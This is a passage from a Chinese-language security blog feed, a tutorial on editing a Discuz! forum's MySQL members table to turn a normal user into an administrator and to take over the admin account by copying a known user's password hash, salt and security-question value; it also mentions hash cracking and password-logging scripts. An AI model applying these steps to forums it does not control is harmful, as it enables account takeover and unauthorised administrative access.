<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 3;">                    </span>return substr($result, 26);</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 2;">             </span>} else {</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 3;">                    </span>return &#8221;;</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 2;">             </span>}</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>} else {</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 2;">             </span>return $keyc.str_replace(&#8216;=&#8217;, &#8221;, base64_encode($result));</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span></span></em></strong><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-ansi-language: zh-cn; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;">}</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-ansi-language: zh-cn; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;"> </span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-ansi-language: zh-cn; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;">}</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-char-indent-count: 2.0;"><span style="color: black; font-family: verdana;" lang="EN-US"><span style="font-size: small;"> </span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-char-indent-count: 2.0;"><span style="font-size: small;"><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">以上代码主要用来加密或者解密用户信息，其中参数意义如下：</span><span style="color: black; font-family: verdana;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-char-indent-count: 2.0;"><span style="font-size: small;"><span style="color: black; font-family: verdana;" lang="EN-US">@param $string &#8211; </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">加密或解密的串</span><span style="color: black; font-family: verdana;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-char-indent-count: 2.0;"><span style="font-size: small;"><span style="color: black; font-family: verdana;" lang="EN-US">@param $operation &#8211; </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">加密还是解密</span><span style="color: black; font-family: verdana;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-char-indent-count: 2.0;"><span style="font-size: small;"><span style="color: black; font-family: verdana;" lang="EN-US">@param </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">密钥</span><span style="color: black; font-family: verdana;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-char-indent-count: 2.0;"><span style="font-size: small;"><span style="color: black; font-family: verdana;" lang="EN-US">@return </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">返回字符串</span><span style="color: black; font-family: verdana;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-char-indent-count: 2.0;"><span style="font-size: small;"><span style="color: black; font-family: verdana;" lang="EN-US">$ckey_length </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">随机密钥长度</span><span style="color: black; font-family: verdana;"> </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">取值</span><span style="color: black; font-family: verdana;" lang="EN-US"> 0-32;</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">加入随机密钥，可以令密文无任何规律，即便是原文和密钥完全相同，加密结果也会每次不同，增大破解难度。取值越大，密文变动规律越大，密文变化</span><span style="color: black; font-family: verdana;" lang="EN-US"> = 16 </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">的</span><span style="color: black; font-family: verdana;" lang="EN-US"> $ckey_length </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">次方，当此值为</span><span style="color: black; font-family: verdana;" lang="EN-US"> 0 </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">时，则不产生随机密钥</span><span style="color: black; font-family: verdana;" lang="EN-US"></span></span></div>
<h1 style="margin: 17pt 0cm 16.5pt;"><span style="font-family: 宋体;">（二）使用</span><span lang="EN-US">Mysql-Front</span><span style="font-family: 宋体;">管理</span><span lang="EN-US">Mysql</span><span style="font-family: 宋体;">数据库</span></h1>
<h2 style="margin: 13pt 0cm;"><span lang="EN-US"><span style="font-family: Arial;">1.</span></span><span style="font-family: 黑体; mso-ascii-font-family: arial;">设置</span><span lang="EN-US"><span style="font-family: Arial;">MySQL-Front</span></span></h2>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: small;"><span lang="EN-US"><span style="mso-spacerun: yes;">   </span>MySQL-Front</span><span style="font-family: 宋体;">是一款</span><span lang="EN-US">MySQL</span><span style="font-family: 宋体;">客户端管理软件，可以对</span><span lang="EN-US">MySQL</span><span style="font-family: 宋体;">数据库实现图形界面管理，软件下载地址：</span><span lang="EN-US"><a href="http://www.mysqlfront.de/download.html"><span style="color: #000000;">http://www.mysqlfront.de/download.html</span></a></span><span style="font-family: 宋体;">。安装</span><span lang="EN-US">MySQL-Front</span><span style="font-family: 宋体;">完毕后，直接运行</span><span lang="EN-US">MySQL-Front</span><span style="font-family: 宋体;">即可，如图</span><span lang="EN-US">1</span><span style="font-family: 宋体;">所示，其中“信息”标签主要用于现实名称，可以随意设置，主要在“注册”标签中进行设置，需要手工输入“用户”和“密码”，“数据库”可以手工输入，也可以程序自动获取，设置完毕后单击“确定”按钮保存数据库设置并回到</span><span lang="EN-US">MySQL</span><span style="font-family: 宋体;">“打开登录信息”窗口。</span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span lang="EN-US"><span style="font-size: small;"> </span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-size: small;"><span style="font-family: 宋体;">图</span><span lang="EN-US">1 </span><span style="font-family: 宋体;">设置</span><span lang="EN-US">MySQL-Front</span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;"><span style="font-size: small;">说明：</span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: small;"><span lang="EN-US"><span style="mso-spacerun: yes;">     </span></span><span style="font-family: 宋体;">（</span><span lang="EN-US">1</span><span style="font-family: 宋体;">）管理</span><span lang="EN-US">MySQL</span><span style="font-family: 宋体;">数据库有多个软件，也可以通过</span><span lang="EN-US">phpmyadmin</span><span style="font-family: 宋体;">进行在线管理，其下载地址为：</span><span lang="EN-US"><a href="http://www.phpmyadmin.net/"><span style="color: #000000;">http://www.phpmyadmin.net</span></a></span><span style="font-family: 宋体;">。</span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: small;"><span lang="EN-US"><span style="mso-spacerun: yes;">     </span></span><span style="font-family: 宋体;">（</span><span lang="EN-US">2</span><span style="font-family: 宋体;">）本例中使用客户端软件来管理</span><span lang="EN-US">MySQL</span><span style="font-family: 宋体;">数据库是因为方便快捷，当然熟悉</span><span lang="EN-US">MySQL</span><span style="font-family: 宋体;">命令的朋友也可以手工在命令提示符下执行数据库操作。</span></span></div>
<h2 style="margin: 13pt 0cm;"><span lang="EN-US"><span style="font-family: Arial;">2.</span></span><span style="font-family: 黑体; mso-ascii-font-family: arial;">连接</span><span lang="EN-US"><span style="font-family: Arial;">MySQL</span></span><span style="font-family: 黑体; mso-ascii-font-family: arial;">数据库</span></h2>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21.75pt;"><span style="font-size: small;"><span style="font-family: 宋体;">在“打开登录信息”窗口中选择刚才设置的</span><span lang="EN-US">MySQL</span><span style="font-family: 宋体;">数据，然后打开即可，如图</span><span lang="EN-US">2</span><span style="font-family: 宋体;">所示，在</span><span lang="EN-US">MySQL-Front</span><span style="font-family: 宋体;">中常用的四个按钮为“对象浏览器”、“数据浏览器”、“</span><span lang="EN-US">SQL</span><span style="font-family: 宋体;">编辑器”和“图表”。“对象浏览器”主要用来浏览有哪些表，而“数据浏览器”主要用来查看选中数据库的表中的数据，“</span><span lang="EN-US">SQL</span><span style="font-family: 宋体;">编辑器”主要用来执行</span><span lang="EN-US">SQL</span><span style="font-family: 宋体;">语句，“图表”主要用来与“对象浏览器”进行切换，更多好用的功能和技巧需要自己去揣摩，就不再此赘述了。</span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21.75pt; text-align: center;"><span lang="EN-US"><span style="font-size: small;"> </span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21.75pt; text-align: center;"><span style="font-size: small;"><span style="font-family: 宋体;">图</span><span lang="EN-US">2 </span><span style="font-family: 宋体;">打开</span><span lang="EN-US">MySQL</span><span style="font-family: 宋体;">数据库</span></span></div>
<h1 style="margin: 17pt 0cm 16.5pt;"><span style="font-family: 宋体;">（三）实施管理员复制</span></h1>
<h2 style="margin: 13pt 0cm;"><span lang="EN-US"><span style="font-family: Arial;">1.</span></span><span style="font-family: 黑体; mso-ascii-font-family: arial;">注册网站用户</span></h2>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21.75pt;"><span style="font-size: small;"><span style="font-family: 宋体;">在实施管理员复制前，需要先在网站注册一个用户名，例如在本例中注册普通用户“</span><span lang="EN-US">cxb</span><span style="font-family: 宋体;">”，密码为“</span><span lang="EN-US">test</span><span style="font-family: 宋体;">”，注册成功使用该用户进行登录，如图</span><span lang="EN-US">3</span><span style="font-family: 宋体;">所示。</span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21.75pt; text-align: center;"><span lang="EN-US"><span style="font-size: small;"> </span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21.75pt; text-align: center;"><span style="font-size: small;"><span style="font-family: 宋体;">图</span><span lang="EN-US">3 </span><span style="font-family: 宋体;">使用注册账号登录注册网站</span></span></div>
<h2 style="margin: 13pt 0cm;"><span lang="EN-US"><span style="font-family: Arial;">2.</span></span><span style="font-family: 黑体; mso-ascii-font-family: arial;">通过</span><span lang="EN-US"><span style="font-family: Arial;">MySQL-Front</span></span><span style="font-family: 黑体; mso-ascii-font-family: arial;">查看已注册用户信息</span></h2>
<div style="mso-element: para-border-div; mso-border-alt: none black 0cm; border-width: 1pt; border-color: black; padding: 0cm;">
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><span style="font-size: small;"><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">在</span><span style="color: black; font-family: verdana;" lang="EN-US">MySQL-Front</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">中查看已经注册的用户信息，选中</span><span style="color: black; font-family: verdana;" lang="EN-US">Discuz!</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">论坛的用户注册表“</span><span style="color: black; font-family: verdana;" lang="EN-US">*_members</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”，其中“</span><span style="color: black; font-family: verdana;" lang="EN-US">*</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”为安装设置的名称，如图</span><span style="color: black; font-family: verdana;" lang="EN-US">4</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">所示，在本例中为“</span><span style="color: black; font-family: verdana;" lang="EN-US">antian_members</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”，该表保存的是用户注册的信息，使用“数据浏览器”打开，可以看到该用户注册的一些详细信息。</span><span style="color: black; font-family: verdana;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><span style="color: black; font-family: verdana;" lang="EN-US"><span style="font-size: small;"> </span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: center; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><span style="font-size: small;"><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">图</span><span style="color: black; font-family: verdana;" lang="EN-US">4 </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">查看选定用户的注册详细信息</span><span style="color: black; font-family: verdana;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><span style="font-size: small;"><span style="color: black; font-family: verdana;" lang="EN-US">4.</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">修改普通用户为管理员用户</span><span style="color: black; font-family: verdana;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><span style="font-size: small;"><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">在“</span><span style="color: black; font-family: verdana;" lang="EN-US">antian_members</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”表中将用户“</span><span style="color: black; font-family: verdana;" lang="EN-US">cxb</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”的“</span><span style="color: black; font-family: verdana;" lang="EN-US">adminid</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”值由“</span><span style="color: black; font-family: verdana;" lang="EN-US">0</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”修改为“</span><span style="color: black; font-family: verdana;" lang="EN-US">1</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”；将“</span><span style="color: black; font-family: verdana;" lang="EN-US">groupid</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”</span><span style="color: black; font-family: verdana;"> </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">值由“</span><span style="color: black; font-family: verdana;" lang="EN-US">12</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”修改为“</span><span style="color: black; font-family: verdana;" lang="EN-US">1</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”，然后单击“</span><span style="color: black; font-family: verdana;" lang="EN-US">MySQL</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">－</span><span style="color: black; font-family: verdana;" lang="EN-US">Front</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”上面的发布按钮使修改生效，至此已经将普通用户</span><span style="color: black; font-family: verdana;" lang="EN-US">cxb</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">变成管理员用户，在登录的网页中刷新一下，再次查看用户个人信息，如图</span><span style="color: black; font-family: verdana;" lang="EN-US">5</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">所示，用户“</span><span style="color: black; font-family: verdana;" lang="EN-US">cxb</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”的用户组已经升级为“</span><span style="color: black; font-family: verdana;" lang="EN-US">Administrator</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”，可以行使管理员权限。</span><span style="color: black; font-family: verdana;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: center; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><span style="color: black; font-family: verdana;" lang="EN-US"><span style="font-size: small;"> </span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: center; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><span style="font-size: small;"><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">图</span><span style="color: black; font-family: verdana;" lang="EN-US">5 </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">普通用户组已经升级为管理员组</span><span style="color: black; font-family: verdana;" lang="EN-US"></span></span></div>
</div>
<h1 style="margin: 17pt 0cm 16.5pt;"><span style="font-family: 宋体;">（四）管理员密码丢失解决方案</span></h1>
<h2 style="margin: 13pt 0cm;"><span lang="EN-US"><span style="font-family: Arial;">1.</span></span><span style="font-family: 黑体; mso-ascii-font-family: arial;">修改管理员密码为已知用户密码</span></h2>
<div style="mso-element: para-border-div; mso-border-alt: none black 0cm; border-width: 1pt; border-color: black; padding: 0cm;">
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><span style="font-size: small;"><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">使用</span><span style="color: black; font-family: verdana;" lang="EN-US">Mysql-Front</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">打开</span><span style="color: black; font-family: verdana;" lang="EN-US">myuc_members</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">表后，单击工具条下面的</span><span style="color: black; mso-ascii-font-family: verdana;" lang="EN-US">“</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">数据浏览器</span><span style="color: black; mso-ascii-font-family: verdana;" lang="EN-US">”</span><span style="color: black; font-family: verdana;" lang="EN-US"></span></span></div>
</div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: small;"><span style="color: black; font-family: 宋体;">查看</span><span style="color: black; font-family: verdana;" lang="EN-US">myuc_members</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">表中的数据，如图</span><span style="color: black; font-family: verdana;" lang="EN-US">6</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">所示，先将</span><span style="color: black; font-family: verdana;" lang="EN-US">admin</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">的</span><span style="color: black; font-family: verdana;" lang="EN-US">password</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">值复制到本地进行备份，以待出现错误后进行恢复，将已知用户的密码值（</span><span style="color: black; font-family: verdana;" lang="EN-US">password</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">中的值）复制到</span><span style="color: black; font-family: verdana;" lang="EN-US">admin</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">中替代原来的值。</span><span style="color: black;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="color: black;" lang="EN-US"><span style="font-size: small;"> </span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-size: small;"><span style="color: black; font-family: 宋体;">图</span><span style="color: black;" lang="EN-US">6</span><span style="color: black; font-family: 宋体;">修改管理员密码为已知用户密码</span><span style="color: black;" lang="EN-US"></span></span></div>
<h2 style="margin: 13pt 0cm;"><span lang="EN-US"><span style="font-family: Arial;">2.</span></span><span style="font-family: 黑体; mso-ascii-font-family: arial;">修改</span><span lang="EN-US"><span style="font-family: Arial;">salt</span></span></h2>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;"><span style="font-size: small;"><span style="color: black;" lang="EN-US"><span style="mso-spacerun: yes;">   </span></span><span style="color: black; font-family: 宋体;">在</span><span style="color: black; font-family: verdana;" lang="EN-US">Discuz!</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">论坛中用户的密码不是普通的加密，而是经过变异的加密，因此还需要保证管理员的密码与已知用户的</span><span style="color: black; font-family: verdana;" lang="EN-US">salt</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">一致，如图</span><span style="color: black; font-family: verdana;" lang="EN-US">7</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">所示，将管理员与已经用户的</span><span style="color: black; font-family: verdana;" lang="EN-US">salt</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">修改成一致。</span><span style="color: black; font-family: verdana;" lang="EN-US"> </span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="color: black;" lang="EN-US"><span style="font-size: small;"> </span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-size: small;"><span style="color: black; font-family: 宋体;">图</span><span style="color: black;" lang="EN-US">7 </span><span style="color: black; font-family: 宋体;">修改</span><span style="color: black;" lang="EN-US">salt</span></span></div>
<h2 style="margin: 13pt 0cm;"><span lang="EN-US"><span style="font-family: Arial;">3.</span></span><span style="font-family: 黑体; mso-ascii-font-family: arial;">修改安全问题答案</span></h2>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: small;"><span style="color: black;" lang="EN-US"><span style="mso-spacerun: yes;">   </span></span><span style="color: black; font-family: 宋体;">在</span><span style="color: black;" lang="EN-US">Discuz!</span><span style="color: black; font-family: 宋体;">论坛中的登录模块中单独设置了安全提问，如图</span><span style="color: black;" lang="EN-US">8</span><span style="color: black; font-family: 宋体;">所示，一共有七个安全提问，用户在注册成功后在个人中心的“密码和安全问题”中进行设置，每一个安全提问根据答案生成一串</span><span style="color: black;" lang="EN-US">8</span><span style="color: black; font-family: 宋体;">位的加密字符，密码不同安全字符串也不同。因此如果想要管理员用户使用普通用户的安全提问，则需要将管理员的“</span><span style="color: black;" lang="EN-US">secques</span><span style="color: black; font-family: 宋体;">”设置成普通用户的“</span><span style="color: black;" lang="EN-US">secques</span><span style="color: black; font-family: 宋体;">”，反之，则将普通用户的“</span><span style="color: black;" lang="EN-US">secques</span><span style="color: black; font-family: 宋体;">”设置成管理员的“</span><span style="color: black;" lang="EN-US">secques</span><span style="color: black; font-family: 宋体;">”，如图</span><span style="color: black;" lang="EN-US">9</span><span style="color: black; font-family: 宋体;">所示，将已知用户的“</span><span style="color: black;" lang="EN-US">secques</span><span style="color: black; font-family: 宋体;">”替换管理员的“</span><span style="color: black;" lang="EN-US">secques</span><span style="color: black; font-family: 宋体;">”，然后使用普通用户的安全提问替代管理员的安全提问进行登录。</span><span style="color: black;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="color: black;" lang="EN-US"><span style="font-size: small;"> </span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-size: small;"><span style="color: black; font-family: 宋体;">图</span><span style="color: black;" lang="EN-US">8 </span><span style="color: black; font-family: 宋体;">安全提问</span><span style="color: black;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="color: black;" lang="EN-US"><span style="font-size: small;"> </span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-size: small;"><span style="color: black; font-family: 宋体;">图</span><span style="color: black;" lang="EN-US">9 </span><span style="color: black; font-family: 宋体;">修改安全提问</span><span style="color: black;" lang="EN-US">secques</span><span style="color: black; font-family: 宋体;">值</span><span style="color: black;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: small;"><span style="color: black;" lang="EN-US"><span style="mso-spacerun: yes;">   </span></span><span style="color: black; font-family: 宋体;">至此有关</span><span style="color: black;" lang="EN-US">discuz</span><span style="color: black; font-family: 宋体;">！论坛管理员与普通用户身份之间的转换已经完成，使用修改后的密码和问题答案即可登录，登录后身份为管理员用户，如图</span><span style="color: black;" lang="EN-US">10</span><span style="color: black; font-family: 宋体;">所示，可以对论坛系统进行管理。</span><span style="color: black;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="color: black;" lang="EN-US"><span style="font-size: small;"> </span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-size: small;"><span style="color: black; font-family: 宋体;">图</span><span style="color: black;" lang="EN-US">10 </span><span style="color: black; font-family: 宋体;">登录后台进行管理</span><span style="color: black;" lang="EN-US"></span></span></div>
<h1 style="margin: 17pt 0cm 16.5pt;"><span style="font-family: 宋体;">（五）总结与探讨</span></h1>
<h2 style="margin: 13pt 0cm;"><span lang="EN-US"><span style="font-family: Arial;">1.</span></span><span style="font-family: 黑体; mso-ascii-font-family: arial;">总结</span></h2>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21.75pt;"><span style="font-size: small;"><span style="color: black; font-family: 宋体;">本文探讨了</span><span style="color: black;" lang="EN-US">discuz</span><span style="color: black; font-family: 宋体;">！论坛的加密方法，通过实际的案例讲解了如何通过操作</span><span style="color: black;" lang="EN-US">MySQL</span><span style="color: black; font-family: 宋体;">数据库来更改用户身份，即通过修改普通用户的</span><span style="color: black;" lang="EN-US">adminid</span><span style="color: black; font-family: 宋体;">，</span><span style="color: black;" lang="EN-US">groupid</span><span style="color: black; font-family: 宋体;">和</span><span style="color: black;" lang="EN-US">secques</span><span style="color: black; font-family: 宋体;">以及</span><span style="color: black;" lang="EN-US">password</span><span style="color: black; font-family: 宋体;">的值，可以使“普通用户”变成“管理员”行使管理员权限；同时该方法也适用管理员丢失或者忘记了管理密码，通过该方法可以重新设置密码，并行使管理权限。</span><span style="color: black;" lang="EN-US"></span></span></div>
<h2 style="margin: 13pt 0cm;"><span lang="EN-US"><span style="font-family: Arial;">2.</span></span><span style="font-family: 黑体; mso-ascii-font-family: arial;">问题与探讨</span></h2>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21.75pt;"><span style="font-size: small;"><span style="font-family: 宋体;">本文写完后，又发现该管理员的密码可以直接适用</span><span lang="EN-US">PasswordPro</span><span style="font-family: 宋体;">工具软件进行破解，由于篇幅关系就不在本文中进行探讨，关于该论坛的安全问题还有很多话题，例如通过脚本来嗅探或者记录用户登录用户名和密码。在</span><span style="color: black;" lang="EN-US">discuz</span><span style="color: black; font-family: 宋体;">！论坛数据库中用户密码字段生成的是密文，网上有一些脚本可以直接用来记录用户登录的密码。</span></span><span style="color: black;" lang="EN-US"></span></div>
<div><a href="http://www.antian365.com/viewthread.php?tid=5297&amp;extra=page%3D1"></a></div>
]]></content:encoded>
			<wfw:commentRss>http://www.daxigua.com/archives/2478/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to root a box</title>
		<link>http://www.daxigua.com/archives/2454</link>
		<comments>http://www.daxigua.com/archives/2454#comments</comments>
